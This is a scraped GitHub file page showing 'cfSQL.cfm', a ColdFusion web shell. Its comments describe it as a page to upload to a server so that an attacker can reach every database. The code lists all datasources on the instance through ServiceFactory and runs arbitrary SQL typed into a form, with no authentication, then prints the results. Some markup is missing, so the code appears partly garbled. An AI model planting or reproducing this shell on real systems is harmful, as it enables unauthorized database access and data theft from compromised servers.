iframe-proxy | Sunbelt Computer Software

executable file

64 lines (56 loc) · 1.79 KB

<!-- foldFusion page by lawKnee							-->
<!-- useful when you can upload cfm and would like to talk to all db's avail	-->
<!-- but dont want to (or can't) connect from the OS				-->
<!-- this page uses ServiceFactory to auto-enum all datasources on the instance	-->
<!-- only works on CF8 and below, but unpatched CF9 should work too		-->
<p><b>Notes:</b></p>
<li>Select the database you want to use</li>
<li>Write SQL statements in the text box</li>
<form method="POST" action="">
<p><b>SQL Interface:</b></p>
Datasource<br>
<select name="datasource">
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
	getDatasourceService().getDatasources();
	for(i in dataSourceObb) {
	writeoutput('<option value="' & i & '">' & i & '</option>');
</cfscript>
<textarea name="sql" rows="5" cols="100"></textarea>
<input type=submit value="Exec">
<cfif isdefined("form.sql")>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
	#Form.sql#
<table border=1>
    <cfif isdefined("form.sql")>
    <cfloop from="0" to="#runsql.RecordCount#" index="row">
        <cfif row eq 0>
                        <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
                                <th><cfoutput>#column#</cfoutput></th>  
                        </cfloop>
                </tr>
        <cfelse>
                        <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
                                <td><cfoutput>#runsql[column][row]#</cfoutput></td>
                        </cfloop>
                </tr>
        </cfif>
    </cfloop>
    </cfif>

Sunbelt Computer Software

PL/B Language Development and Support

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Sunbelt Computer Software

PL/B Language Development and Support

FilesExpand file tree

cfSQL.cfm

Latest commit

History

cfSQL.cfm

File metadata and controls